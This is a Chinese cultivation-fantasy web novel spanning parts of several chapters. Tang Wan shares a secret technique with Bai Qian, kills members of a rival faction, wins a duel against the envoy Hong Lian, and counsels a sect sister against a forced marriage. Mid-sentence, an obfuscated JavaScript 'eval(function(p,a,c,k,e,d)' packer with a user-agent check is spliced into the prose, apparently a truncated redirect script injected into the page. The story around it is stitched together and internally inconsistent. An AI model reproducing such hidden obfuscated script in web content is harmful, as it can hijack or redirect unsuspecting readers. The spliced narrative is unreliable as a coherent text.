白浅黛眉微蹙,看着眼前的唐婉,忧心忡忡道:“婉儿,我听说陆青烟从秋池剑阁带回大量‘凝碧灵液’,助长了陆家年轻一代的气焰,意图在下月的宗门大比中压倒我们,重定巴山夜雨城的七流席位。正是靠着灵液堆积,陆青烟的修为才在短期内暴涨至黄极境大极位。”“在这灵液的加持下,一个月后,她的实力只会更加可怕。我要胜她,难如登天。婉儿,这一次你应战得太冒失了。”唐婉笑着摇了摇头,神色淡然:“浅姐姐,你还不信我吗?你忘了,我可是仅用了半年光阴,便修到了黄极境大圆满。”“对啊!婉儿你究竟得了什么机缘?”白浅刚问出口,便觉失言,连忙歉然道,“还是算了,我不该打听你的秘密。”经过这段时间的相处,唐婉深知白浅为人可靠,值得托付。她轻声道:“修炼资源固然重要,功法同样关键。浅姐姐,你如今修炼的是灵级下品《千水决》,对吧?”白浅点了点头。巴山夜雨城的三大灵级功法,分别是《千水诀》、《战神策》与《先天功》。其中《千水决》与《战神策》属灵级下品,《先天功》则是灵级中品。通常只有五岁前开启神武印记的核心弟子,才有资格修习《先天功》,以此竞争城主之位。七长老当年也是从《先天功》起步,后来另有奇遇,才换了更高深的法门。白浅因六岁才开启印记,只能修习《千水决》。唐婉缓缓道:“《千水决》虽好,但毕竟只是灵级下品。即便你修到大圆满,最多也只能开辟十六条经脉。”白浅白了她一眼,嗔道:“什么叫‘只是’灵级下品?婉儿,在巴山夜雨城,完整的灵级功法加起来不足十卷。我们白家能占其三,已是天大的底蕴。一卷灵级下品,市价至少三百万银币,这还是因为有价无市。”在这个世界,七流家族往往仅有一卷灵级下品镇族,其余多为残本或人级功法。唐婉笑道:“若是浅姐姐愿替我保密,我可将一门鬼级下品的功法传你。”“鬼级下品?”白浅惊呼出声,随即死死捂住嘴,美眸瞪得滚圆,仿佛听到了天方夜谭。她死死盯着唐婉,半晌才平复心绪,低声颤道:“鬼级下品?婉儿,你从哪得来的逆天秘籍?便是秋池剑阁的镇阁绝学《至圣乾坤功》,传闻也不过是鬼级下品啊!”此言一出,若传出去,必给唐婉招来杀身之祸,即便是白家也护不住她。鬼级功法,白 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浅连想都不敢想。其实别说鬼级,便是王级功法,唐婉前世也曾翻阅过几卷。只是王级功法过于霸道,此时传给白浅,非但不是机缘,反而是催命符。唐婉道:“我要传你的,名为《天河玉经》,共分七重。若能修成第一重,便可达黄极境大圆满。”说罢,她将经文默写于纸,交于白浅。白浅接过手稿,立刻沉浸其中。仅仅三个时辰,她便已将经文烂熟于心。“果然是鬼级下品!若能将七重尽数修成,真不知会强到何种地步”白浅抬起头,眼中满是感激,望着唐婉的眼神柔得仿佛要滴出水来,差点忍不住在那清冷的脸颊上亲一口。唐婉轻咳两声,提醒道:“浅姐姐,鬼级功法非同小可,切莫外泄,哪怕是对伯父伯母,也不可透露半个字。”“你把姐姐当什么人了?”白浅红着脸道,“这等无价之宝,我便是死也会带进棺材里。”她说完便走到灯台边,将手稿焚为灰烬,片纸不留。唐婉道:“如今你便可将体内真气转化为《天河玉经》。一旦转化成功,真气质量必将暴涨。若能借此突破至笃行段大极位,一月之后,你有九成把握胜过陆青烟。”功法品级越高,真气越精纯,战力自然天差地别。正如唐婉,虽只是笃行段大圆满,却能越阶击败化境段中期的强者,这全赖她所修的《九明天帝经》。得了这等大机缘,白浅信心倍增,眼波流转,笑道:“婉儿,你把这样的无价之宝都给了我,让我怎么谢你好呢?”“咱们之间,何须言谢。”唐婉偏过头去,看向窗外。白浅轻哼一声,凑近低语:“若你不是我妹妹,我真想以身相许了。”见唐婉耳根泛红,白浅掩嘴轻笑,随即便告辞离去,闭关苦修。此战关乎颜面,她绝不能输。白浅走后,唐婉进入时空晶石的内空间。笃行段大圆满的气池,容量是大极位的十倍。此刻,气池中的真气仅占了五分之一。唯有将其填满,方能冲击化境段。寻常武者即便有灵晶相助,也需在笃行段大圆满苦修两年以上。白浅便是天才,十七岁达大圆满,至今三年仍未突破,可见其难。唐婉开辟了三十六条经脉,修炼速度是常人数倍,但也预估需一年方能圆满。一年太久。为了加速,她花重金购入了二品丹药“三清真气丹”,五千枚银币一枚,仅能提升二十分之一的真气。她服下一枚,运转三十六经脉同时炼化。三天后,气池充盈至五分之二,力量达九十四牛。五天后,五分之三,九十六牛。七天后,五分之四,九十八牛。十日之后,气池终告圆满,力量定格在九十九牛,距那传说中的百牛极境,仅差一牛。 小黑趴在一旁,看着唐婉收功,眨了眨圆溜溜的猫眼,叹道:“可惜,终究差了一牛之力,未能触及无上极境。”笃行段大圆满之上,还有一个虚无缥缈的小境界——“无上极境”。百牛之力,方是其数。自远古之后,几乎无人能至。即便是大帝圣者,也多是无限接近。九十九牛与百牛,看似一线之差,实则天壤之别。小黑惋惜道:“若是能达无上极境,便能引来远古神力共鸣,好处不可计量。可惜,终究是差了这一线。”唐婉目光坚定:“未必没有机会,还可再拼一次。”小黑摇了摇猫头:“气池已满,已无进步空间。”与此同时,通往秋池剑阁的官道上。一辆由两头骏马拉着的马车疾驰而行。驾车之人正是白浅,她一手持鞭,一手抱着酒坛,喝一口酒抽一鞭,两匹马跑得飞快。 车厢内,唐婉与陆青烟正在试穿新买的衣裙首饰。“婉儿,刚才外面怎么了?”陆青烟掀开车帘问道。“没什么,教训了个不开眼的爪牙。”白浅漫不经心地答道,顺手将几盒胭脂塞给唐婉,“这是给你姑姑若曦长老的,明日记得送去,别拿错了。”“知道了。”唐婉应道。正说话间,后方传来一阵嚣张的叫嚷:“前面的破车让开!我家小姐的车驾在此,速速避让!”此处已是秋池剑阁辖地,道路宽敞。白浅眉头一皱,本着多一事不如少一事,将马车往路边靠了靠,放慢了速度。后方追上来四匹神骏非凡的白马,拉着一座移动的小型宫殿,装饰极尽奢华。车房内莺声燕语,传来阵阵娇笑。“又是哪个势力的妖女。”白浅暗啐一口,心道自己堂堂白家小姐,竟沦落到来当车夫。就在两车交错的一瞬,那宫殿车驾的车夫见白浅避让不及,厉声呵斥:“臭丫头,找死!”说罢一抖长鞭,带着破空之声直抽白浅面门。白浅眼中寒光一闪,身形一侧躲过鞭梢。那车夫手腕一抖,长鞭如毒蛇般卷向白浅腰间。白浅冷笑,运转罡气,手中长鞭如灵蛇出洞,瞬间卷住对方鞭尾,顺势一抖,两条长鞭同时反抽向那车夫。这一手暗器手法极为精妙,那车夫大惊失色,显然没料到这看似普通的车夫如此厉害。她急忙拔刀斩断纠缠的长鞭,断掉的鞭梢如利箭般射入了一匹拉车马的臀部。 那马吃痛嘶鸣,狂奔起来。车夫慌忙勒缰,好不容易稳住马车。白浅趁机一甩袖袍,几根细若牛毛的飞针悄无声息地扎进了另外三匹马的脖颈。三匹马同时发狂,拖着那豪华车驾一头栽进了路旁的泥田里。“哈哈哈!”白浅大笑,“饶你奸似鬼,也得喝本小姐的洗脚水!”“常管事,怎么回事?”车内传来一道温怒的女声。那车夫惶恐道:“小姐恕罪,马匹不知为何受惊了属下刚才想教训那个挡道的丫头,不料她极为狡猾,暗算了马匹。”“这里是秋池剑阁的地界,收敛些,莫要多生事端。”车内女子训斥道。“是,属下知错。”白浅驾着马车扬长而去,嘴角噙着冷笑。看那车驾的奢华,多半是彩羽楼那帮妖女的爪牙。这条路直通秋池剑阁,看来,等会儿还有得闹。 60. 冲冠一怒为红颜 一行人疾行回到秋池剑阁,唐婉率先跳下马车,回头将白浅并两位侍女扶了下来。 车厢内堆满了小山般的东西,宝儿和梦儿互相对视一眼,吐了吐小舌头,她们也没想到平日里节俭的唐婉今日购物竟如此疯狂。 “完了,这么多东西怎么搬进去?”梦儿有些为难,秋池剑阁门规森严,马车不得入内。 “这不是有个免费的苦力么?”白浅瞥了唐婉一眼,轻笑一声。“太没人性了!”唐婉咬牙切齿,她也不能当众将这些东西丢进储物空间,况且空间也未必装得下这么多零碎。 她眼珠子一转,从那堆东西里摸出几盒上好的胭脂,挤眉弄眼道:“看我找几个帮手。” 抱着几盒胭脂水粉,唐婉来到山门前,朝几个聚在一起值守的女弟子走去,彬彬有礼地行了一礼:“几位师姐好!”唐婉平日里深居简出,知晓她改变后相貌的人不多,但总有几个见过。这一群人中,就有一位面容清秀的女弟子见过她,见唐婉问好,小脸上闪过一丝红晕:“原来是唐副区主。”其他几个女弟子这才知道,面前这个相貌堂堂、气度不凡的年轻女子,竟是那位新晋的商风区副区主。 几双美眸上下打量着她,都在心中暗赞唐副区主果然英气逼人。“副区主这是从哪来?”先前开口的女弟子继续问道。“哦,今日无事便去靖安城逛了一圈,置办了些东西。回来刚好看到几位师姐在此值守,师姐们生得闭月羞花,站在这里委实辛苦,若是被太阳晒黑了皮肤就太可惜了。小妹厚颜,今日从天宇楼买了些胭脂水粉,还望几位师姐笑纳。师姐们天香国色,自然不需点缀,只是这阳光实在可恶,日后值守时稍作防护,也能保持容颜。”唐婉一张嘴把几个女弟子夸得心花怒放。“副区主太客气了,值守本就是我们的职责。”那女弟子柔声道,“但这礼物万万不能收。”“其实,小妹一方面是心疼几位师姐,一方面也是有个不情之请需要帮忙。几位师姐若不笑纳,我这心里实在过意不去。”唐婉面露难色。“副区主只管说,若是能帮上忙,我们姐妹必定不推辞!”“既如此,我便直说了。今日一时手痒买多了,想请几位师姐通融一下,放我的马车进去?省得我来回奔波搬运。”唐婉指着身后的马车。“这?”女弟子踌躇片刻,随即展颜一笑,“副区主,马车不能入内是门规,我们无法通融。”听到这话,唐婉面色一暗,叹息道:“那我便辛苦些,分几次搬回去吧。”“不过?”女弟子笑看着唐婉,“虽然马车不能进,但我们姐妹可以帮你把东西搬回去。”“这怎么可以?师姐们娇柔之躯,怎能做这些苦力活?”唐婉假意推辞。那女弟子娇笑一声,从唐婉手上把胭脂水粉拿了过去:“唐副区主,礼物我们收下了。只不过是些东西,累不着我们。姐妹们,跟我来吧。”这一招呼,立马便有六七个人围了过来。片刻功夫,便将马车里的东西搬了个干净。宝儿和梦儿也各拿了一些跟在后面,唐婉和白浅两手空空,悠闲得很。“得得得”一连串马蹄声从道路尽头传来。唐婉扭头一看,果然是之前在路上遇到的那辆豪华马车。只不过此刻那四匹白马一身污泥,那华丽的车房也溅满了泥点,狼狈不堪。车夫在山门前停下,恭敬地打开车门。一个身穿宝石蓝锦袍、腰系蟒形腰带的年轻女子缓步走下。这女子约莫二十五六岁,生得玉树临风,唇红齿白。论相貌,她和唐婉在伯仲之间,只是她那双眼睛里藏着一丝阴鸷,虽面带微笑,却透着一股高高在上的漠视。女子下车后,又有几个背着重剑的女随从跟了下来。车夫恭敬道:“少主,秋池剑阁到了。”“嗯。”那少主点了点头,目光一扫,不由自主地落在了白浅身上,眼中闪过一丝惊艳。她身边的女随从虽也不俗,却远不及白浅那般清冷出尘。白浅眉头一皱,身形往唐婉身后挪了半步。不知为何,这女子的目光虽含笑,却让白浅感到一股被猎食者盯上的寒意。唐婉不动声色地挡在身前,嘴角勾起一抹冷笑。对方也在看她。两人对视,都在笑,可唐婉却敏锐地捕捉到了对方眼底一闪而逝的杀机。这时,那车夫走到少主身边,恶狠狠地瞪了唐婉一眼,低声道:“少主,刚才就是这丫头打伤了我们的马。”那少主神色不变,反而对唐婉笑道:“这位姑娘,刚才我的车夫多有冒犯,我代他赔罪了。”唐婉微笑颔首:“无事,些许小冲突罢了。那少主神色不变,嘴角勾起一抹阴冷的弧度,正要说话。“唰!”一道寒光乍现。甚至没看清唐婉是如何出手的。她原本负在身后的手,此刻正随意地垂在身侧,指尖一滴鲜血缓缓滴落。而那个车夫,喉咙处多了一道细细的血线,眼中的凶狠瞬间凝固,随即轰然倒地。“你!”那少主玉树临风的表象瞬间破碎,脸上写满了惊恐,“你敢杀我彩羽楼的人!”“彩羽楼?”唐婉轻笑一声,缓步向前,“既然认得我是谁,就该知道,在这巴山的地界,杀你,无需理由。”话音未落,唐婉的身影已至。那少主也是笃行段大极境的高手,仓促间拔剑抵挡,剑光如雨。然而,在唐婉刚刚领悟的“龙象归田”掌意面前,任何花哨的剑招都是纸糊的。“嘭!”一掌拍碎剑身,余势不减,直接印在那少主的心口。那具温热的尸体软软倒下,唐婉看都没看一眼,随手一挥,两团真火将尸身连同那辆豪华马车一并吞没,烧得干干净净。解决了那批不速之客,唐婉回到自己的居所,心境却难以平静。气池中的真气因为刚才那瞬间的杀意爆发,竟然沸腾起来,原本坚固的壁垒,竟出现了一丝松动,气池中的真气已然圆满,境界到了极致,可偏偏就差那一牛之力,无法触及无上极境,实在可惜。唐婉坐在窗前,指尖轻叩桌面,喃喃自语:“我不能爆发出一百牛的力量,并非武体不够强大,而是因为我施展的武技品级不够,对力量的增幅有限。”一直蹲在旁边的小黑幡然醒悟,怪叫一声:“对啊!我怎么忘了武技的事?你到现在才修炼一种人级中品的武技?若是修炼的是灵级下品,肯定早就破百了。”“不需要灵级下品。”唐婉摇了摇头,“只需人级上品的武技,应当就能让我补足这一牛的差距,达到黄极境的无上极境。”开辟出三十六条经脉,若还不能达到无上极境,那才是怪事。武技、功法、武体必须齐头并进,才能爆发出最强力量。如今功法和武体都已达极限,唯独这《龙象般若掌》才修到第二掌,仅是人中品。若是能将第三掌“龙象归田”修炼成功,将此技提升至人级上品,增加那一牛之力想必不难。只是这第三掌极为晦涩,唐婉修炼多日,始终不得要领。“在总坛中,终究拘束太多,无法畅快练掌。而且这掌法越是往后,越需实战磨砺。”“离开总坛去历练,必会遭到王后派系的杀手围剿。我现在羽翼未丰,一旦离开庇护,便是死路一条。对了,总坛内也有历练之地。”唐婉心头一动,想到了困兽谷。巴山势力在困兽谷中圈养了大量蛮兽,正好适合她去磨砺掌法。唐婉在时空晶石内空间修炼了二十五天,外界才过去八九日。她刚推门走出,便见云儿等在门外。 “副区主,”云儿禀报道,“阿兰的伤势已经痊愈,断骨也接续上了。可她整日坐在石阶上发呆,或在地上画人像,痴痴呆呆的,像是傻了一般。”唐婉叹了口气,道:“既然伤好了,便给她二百两银子,送她下山吧。能不能走出心魔,只能看她自己的意志。”“是。”云儿转身欲走。唐婉却又叫住了她:“等等,带我去见见她。”在阿兰居住的别院,唐婉看到了那个曾经的剑客。阿兰呆滞地坐在石阶上,手持一根竹枝,一遍遍地画着地上的那个人像。画完一幅,又画一幅。眼神空洞,仿佛只是机械地在重复动作。即便唐婉走到她面前,她也未曾抬头。唐婉盯着她,冷声道:“你的剑呢?”阿兰依旧画着,喃喃道:“经脉已断,提不起剑了。”“经脉断了,人就废了?”唐婉问。“经脉断了,人自然就废了。”阿兰呆滞地回道。唐婉冷笑:“既然是废人,那你哪来的力气画人像?哪怕是全身瘫痪的伤者,只要心气不倒,也必有作为。像你这样有手有脚却自甘堕落的,才是真正的废人。”阿兰的声音陡然变得沉闷,咬牙道:“我没有自甘堕落!唐婉看了一眼地上的人像,抬脚狠狠踩了上去,猛地一碾,那画像顿时面目全非。阿兰双眼瞬间赤红,怒吼道:“你干什么?唐婉道:“她没把你当人,你却把她当神。你连废物都不如!”“若不是欠你两条命,我现在就杀了你!”阿兰猛地站起,一股真气涌入竹枝,直刺唐婉心口。原本柔软的竹枝,在真气支撑下坚如铁剑。 “嘭!”唐婉一掌拍出,竹枝崩断,阿兰口吐鲜血,重重“摔在地上。唐婉居高临下:“现在,我把你打成这样,骂你是废人,你还把我当救命恩人吗?”“嗷!”阿兰发出一声野兽般的嘶吼,再次扑来。唐婉以手为刀,轻易将她击飞。半个时辰后,阿兰瘫倒在地,气喘吁吁。唐婉举起手掌,正要再打。 “不用了。”阿兰嘶哑道。唐婉收手:“还想继续当废人?”阿兰摇了摇头,眼神中的浑浊散去,取而代之的是一股狠劲:“我不是剑客,不是废人。谢谢你。”唐婉弯腰将她扶起,道:“接下来有何打算?” 阿兰眼神黯淡:“经脉已断,笃行段大极位是无望了。但我不会放弃,我会去找续接经脉的灵药。” 唐婉沉思片刻,道:“经脉尽断,对你未必是坏事。我这里有一卷功法,颇为奇特,常人无法修炼,反而是经脉尽断之人才能修炼。若你毅力够强,或许能修成。” 阿兰眼中燃起希望:“若我修成了呢?”“破茧化蝶,更胜从前。”唐婉道。阿兰单膝跪地,重重磕了三个响头:“恩公,阿兰此生难忘大恩。今后若有差遣,赴汤蹈火,在所不辞。”唐婉扶起她,将一卷名为《九转听雨剑诀》的秘典传入其脑海。“此剑诀不走寻常路,以断脉为弦,以心意为剑。若能修成九转,便是你姐姐那‘细雨快剑’也未必及得上你。”唐婉叮嘱道。安排好阿兰闭关后,唐婉便动身前往困兽谷。她要在那里,将《龙象般若掌》第三掌彻底炼成,冲击那笃行段无上极境!巴山西北三百里,困兽谷。谷内腥风扑面,唐婉一掌拍出,掌风如龙,将那头二阶上等蛮兽“撼地魔熊”的颅骨震得粉碎。“龙象归田,终于成了。”唐婉收回手掌,气池内的真气如汞浆流淌,凝练至极。九十九牛的力量澎湃欲出,只差最后一丝契机,便能冲破那层桎梏,达到传说中的百牛极境。她并未急着出关,而是盘膝坐在熊尸之上,心神沉入时空晶石的内空间。这一次,她不仅要打磨掌意,更要梳理巴山夜雨城如今复杂的局势。封赏大典已过七日。表面上看,青鸾宫退去,月无痕身死道消,巴山迎来了久违的宁静。但实际上,唐婉知道,这只是暴风雨前的宁静。巴山夜雨城、雨韵剑宗、秋池剑阁、恒古神殿。这四方所谓的名门正派,哪一个不是道貌岸然之辈?当初围攻青鸾宫时,他们袖手旁观;如今青鸾宫覆灭,他们必定会像秃鹫一样扑上来,瓜分残羹冷炙,同时压制巴山的崛起。而那个被她一掌废掉修为、沦为扫厕杂役的蓝若心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白浅霍然起身:“来得这么快?唐婉却神色平静,甚至带了一丝期待:“走,去看看这群‘魔教妖女’,到底想怎么个打法。”秋池剑阁山门前。气氛压抑得让人窒息。并没有想象中的千军万马,只有孤零零的三个人。为首的是一个穿着大红嫁衣的女子,长得妖艳绝伦,嘴角挂着一丝玩世不恭的笑意。她手里拿着一支金步摇,正有一下没一下地敲打着掌心。这女子虽美,但周身气息却深不可测,仿佛一口幽深的古井,让人望而生畏。在她身后,站着两个背着重剑的黑衣女子,眼神空洞,仿佛两具行尸走肉。“这就是彩羽楼的作风?”白浅握紧了剑柄,传音给唐婉,“只来三个人?”“兵不在多,而在精。”唐婉眯起眼睛,低声道,“为首那个穿嫁衣的,叫红莲。她是彩羽楼八大护法之一,也是蓝若心的亲姑姑。至于那两个黑衣人恐怕是她用秘法炼制的‘剑傀’。”红莲似乎听到了她们的传音,抬头看向唐婉,咯咯一笑,声音酥麻入骨:“这位就是废了我侄女修为的唐副区主吧?果然是个绝色美人儿。不过,杀人偿命,废人修为,也得当众受辱。你说,这笔账该怎么算?”唐婉上前一步,挡在白浅身前,冷声道:“若要算账,便拿出你们的本事来。若是想用嘴皮子,我巴山不接待闲人。”“爽快!”红莲大笑,“我们彩羽楼向来不喜欢那些名门正派的虚伪规矩。今日我来,不为占地盘,只为讨个说法。”红莲收起笑容,眼神骤然变得凌厉:“听闻你们巴山有个规矩,只要能在擂台上赢过你们,便能拿走一样东西。若我今天赢了你,我要你们把‘归墟钥匙’交出来,并且让蓝若心重归彩羽楼,恢复她自由之身。”此言一出,全场哗然。归墟钥匙!那可是月无痕临死前留下的重宝!唐婉心中冷笑,果然是为了这把钥匙来的。她环视四周,发现雨韵剑宗和恒古神殿的探子早已藏在暗处观望,等着两败俱伤,好坐收渔翁之利。“好一个彩羽楼。”唐婉心中通透,“不来抢地盘,只来抢机缘。这确实不像四大宗门那样道貌岸然,反倒光明磊落得有些讨厌。“既然你想赌,那我便陪你赌这一场。”唐婉走出山门,直面红莲,“但我也有条件。若你输了,彩羽楼从此不得踏入巴山百里之内,且要向我透露一处关于‘恒古神殿’的秘密。”红莲挑眉:“有意思。成交!”擂台之上,风云变色。红莲的武功极为诡异,她用的不是剑,而是一根红绸。那红绸在空中飞舞,如毒蛇般缠绕,竟是将唐婉的三十六经脉压制得有些喘不过气。“这女人的修为,恐怕已经半只脚踏入地极境了。”唐婉心中凛然。台下,白浅看得心惊肉跳。她看得出,唐婉虽然在苦苦支撑,但气场却在不断提升。她是在借红莲的压力,强行冲击那层壁垒!“婉儿这是在拿命搏命啊?”白浅咬牙,手心的汗水浸湿了剑柄。而在高台之上,陆青烟负手而立,看着台上的唐婉,眼中闪过一丝复杂的神色。她既希望唐婉赢,狠狠打压彩羽楼的嚣张气焰;又隐隐希望唐婉输,那样她就能取代唐婉,成为巴山最耀眼的明星。“无论输赢,这巴山的雨,都不会停了。”陆青烟低声自语。擂台上,激战正酣。唐婉被红莲的红绸缠住了脚踝,整个人被倒吊在半空。“小丫头,你的掌法虽强,但太刚猛,少了些变通。”红莲嘲笑道。“是吗?”唐婉嘴角溢出一丝鲜血,眼神却亮得吓人,“那这一掌,你可接得住?”她放弃了抵抗,任由身体坠落,体内那九十九牛的力量疯狂旋转,气池轰然炸裂。“轰!”一股无形的气浪以唐婉为中心炸开。一百牛!笃行段无上极境!这一掌,正是龙象般若掌的终极奥义——龙象归田!掌力如春风化雨,却又如泰山压顶。红莲脸上的笑容瞬间凝固,她手中的红绸寸寸断裂,整个人如断了线的风筝般飞了出去,重重砸在护山大阵的结界上。全场死寂。唐婉站在原地,白衣染血,却如战神降世。“你输了。”唐婉冷冷地看着红莲,“现在,告诉我关于恒古神殿的秘密。”红莲艰难地从地上爬起,擦去嘴角的血迹,不但没有愤怒,反而笑得更加妖娆:“好!好一个无上极境!唐婉,你比我那侄女强多了。这秘密,我告诉你。”她凑近唐婉耳边,低声说了几句。唐婉的脸色,瞬间变得无比难看。 61. 不向西风怨未开 地隐门,烟柳阁。午后日头正烈,蝉鸣噪耳,阁内却静得出奇。白梦秋端坐上首,一袭玄色宗主袍服衬得她面色愈发冷白,指尖轻叩着紫檀木扶手,每一下都像叩在人心上。唐婉与白浅分坐下方,空气里凝着股化不开的滞涩自白梦秋从巴山夜雨城归来,将宗门更名为“天罡地煞宗”后,这种压抑便如薄雾般笼罩着整个山头。“巴山南巨擘,大理段家?”白梦秋缓缓念出这个名字,嗓音里带着久居上位的倦意与冷意,“他们愿与我宗结为同盟,共享巴山灵脉,三年内输送三十名化境段弟子协防。条件只有一个,就是聘娶赵雨菲。”赵雨菲。唐婉眸光微动。那个前几日还被自己用几盒胭脂哄得面红耳赤的内门师姐,性子软,耳根更软,剑术不算顶尖,却胜在性情温顺,从不会拂了长辈意思。此刻,她就像一枝尚在苞中的花,未到绽放之时,便已被西风盯上。“宗主,”唐婉斟酌着开口,语气温婉却透着冷,“段家势大,坐拥巴山以南,这些年的手段并不光彩。大理段氏一脉,向来是想要什么便要什么。今日结盟是糖衣炮弹,明日若觉我宗无用,翻脸便是一剑。这哪里是同盟,分明是要将我天罡地煞宗变成附庸。” 白浅垂眸盯着茶盏中沉浮的茶叶,淡淡接话:“赵师姐是三代弟子里的乖顺苗子,虽非顶尖,却也踏实肯练。段家点名要她,要么是看中她性子软好拿捏,要么是想借她探我宗底线。”她顿了顿,抬眼直视白梦秋,“宗门如今,凌霄段仅两位,化境段三十余,笃行段不足三百,初窥段弟子占了大半。外强中干,风雨飘摇。段家开的条件,确实诱人。” 这就是上位者的枷锁。白梦秋从巴山夜雨城带回“天罡地煞宗”的名号易,要填满这个名号的里子,却难如登天。她虽修为卓绝,却也无法凭一己之力填补数十年的人才断层。有时为了保全满门,不得不行那刮骨疗毒之举。“本座尚未应允。”白梦秋冷笑一声,指尖叩击扶手的力度重了几分,“但赵雨菲那边,怕是已经听到了风声。这丫头性子怯,若真以为宗门需要她‘牺牲’,怕是会自己应下。”正说着,门外传来轻轻叩门声。白梦秋敛了神色,道:“进来。”门扉轻启,赵雨菲一身青衣站在门口,眼圈微红,像是哭过,却强撑着镇定,向白梦秋、唐婉、白浅依次行礼,声音轻得像蚊子哼:“宗主,唐师妹,白师姐。”白梦秋最见不得她这副模样,冷硬的神色稍霁,招手让她近前:“听说段家少主段云铮昨日来提亲了?”赵雨菲身子一颤,头垂得更低:“弟子弟子不知该如何是好。”“你自己的想法呢?”白梦秋盯着她,语气不容回避。赵雨菲绞着衣带,半晌才轻声道:“弟子十岁被宗门收养,这些年来,天罡地煞宗就是我的家。宗主和各位长老待弟子不薄,师姐妹们也处处照拂,如今宗门若有用到弟子的地方,”她声音哽咽了一下,“弟子不敢推辞。”“胡闹!”白梦秋猛地一拍扶手,霍然起身,玄色袍袖带起一阵冷风,“婚姻大事,岂是拿来报恩的筹码?本座改名天罡地煞宗,是要带着你们争一条生路,不是要带着你们去给人当妾做小!不向西风怨未开,你且记着,你赵雨菲不是无人问津的残蕊,我天罡地煞宗,也还没到要靠折枝献媚来求生的地步!” 赵雨菲吓得一抖,眼泪终于滚了下来,却倔强地不肯擦:“可若我拒了,段家以此为借口发难,宗门如何应对?弟子心中害怕,却也想不出别的法子。”她看向唐婉和白浅,目光里满是破碎的求助。唐婉起身走到她面前,语气不再温和,而是斩钉截铁:“师姐,幸福是自己挣的,不是别人施舍的。你今日为了宗门把自己卖了,他日宗门若还是保不住你,你的牺牲又有何意义?不向西风怨未开,是因为我们知道时节未到,而非无力抗拒。天罡地煞宗就算再弱,也自有其傲骨。”白浅也缓缓起身,与唐婉一左一右,将赵雨菲护在中间。她虽未说话,但那姿态已明了:她们与她同在。白梦秋看着这三个姑娘,一个刚烈,一个清醒,一个怯懦却本善,心中的巨石仿佛落了地。她深吸一口气,重新坐下,语气恢复了宗主的威仪,甚至带了几分狠厉:“好了。雨菲,你不必再想。这事儿,本座替你回了。巴山南巨擘大理段家虽强,我天罡地煞宗也不是任人揉捏的软柿子!他们若敢以此为由发难,本座便让他们尝尝,天罡地煞宗虽弱,骨头却硬!不向西风怨未开,我们只需静待东风。”她目光扫向唐婉和白浅,冷声道:“你们两个,平日里斗嘴归斗嘴,这时候得拧成一股绳。婉儿,”她特意点向唐婉,“你主意多,多陪你赵师姐说说话,把她那钻牛角尖的性子扳回来。至于段云铮?”白梦秋嘴角勾起一抹冰冷的弧度:“既然他自己送上门来,那就别怪我们不客气。想娶我天罡地煞宗的弟子,也得看他配不配!” 唐婉与白浅对视一眼,在那彼此的眼中,都看到了相同的战意。那道因陆青烟而产生的嫌隙,在这一刻,被这共同的敌人悄然弥合了些许。窗外蝉声依旧,却再也扰不乱阁内的心。她们如同一株株尚未盛开的花,虽在西风中颤抖,却紧紧依偎,等待着属于自己的时节。烟柳阁内,茶香袅袅,却驱不散那萦绕在赵雨菲心头的阴霾。 唐婉看着她强忍泪光的模样,心中那点因白浅与陆青烟亲近而生出的闷气,忽地散了些,转而化作一种同病相怜的苍凉。她站起身,走到赵雨菲面前,也不坐,就那么直直地望着她,语气虽淡,却字字如针: “赵师姐,虽然我不是你,但我却能猜到你此刻在想些什么。”唐婉的声音不大,却带着一种洞穿人心的力量,“如果宗主和长老们真的执意要你嫁给段云铮,纵然你心里有一千个一万个不愿意,你最后还是会低头应下,对不对?” 赵雨菲身子一颤,绞着衣带的手指节泛白。 “因为师命难违,因为你怕日后有人在背后嚼舌根,说你赵雨菲自私小气,不顾全大局,为了一己之私毁了宗门的前程。”唐婉冷笑一声,那笑意却不达眼底,“可实际上呢?对一个女人来说,什么叫做大局?一生的安稳喜乐,才是最大的大局!男儿志在四方,建功立业是他们的道;女儿家所求无多,琴瑟在御,岁月静好,便是她们的福。你心中那点可笑的自我牺牲,放在一世的幸福面前,算得了什么?”“唐师妹!”赵雨菲猛地抬头,眼眶通红,声音里带着一丝被戳破心事的羞恼,“你说话何必如此如此难听?”“忠言逆耳。”唐婉不为所动,反而逼近一步,“你觉得难听,是因为我说的正是你的心事!如果段云铮是个谦谦君子,温润如玉,那也就罢了。可万一?”她顿了顿,眼底寒光一闪,“万一段云铮是个金玉其外、败絮其中的纨绔?他娶你,不过是贪你温顺可人,或是另有所图。待新鲜劲儿一过,便将你弃如敝履,那时你该如何?你师傅白宗主又会如何?她老人家怕是要悔恨终生!而若你因此事忤逆了段家,导致两家盟约破裂,你这所谓的‘牺牲’,便真是连水中捞月都不如,一场空罢了!”“你……你也不过是些臆测罢了!”赵雨菲脸色苍白,嘴唇都在抖。“凡事皆有万一。”唐婉淡淡道,“当然,我们现在说这些或许都为时过早。宗主白梦秋虽刚从巴山归来,行事雷霆,却绝非昏聩之人。你身为三代弟子翘楚,又值笃行段精进的关键时刻,她若真舍得将你这棵好苗子,去填段家那不知底的深坑,那才是真正的杀鸡取卵。”“可万一呢?”赵雨菲的声音带着哭腔,“万一宗主她应下了呢?” 唐婉看着她那副惶惶不可终日的模样,忽地轻笑一声,那笑声里竟带着一种不容置疑的坚定:“放心。就算宗主一时糊涂应下了,我唐婉在此,也定会将你‘抢’回来。” 赵雨菲愣住了,呆呆地看着她。一旁的白浅也微微挑眉,看向唐婉的目光复杂难辨。 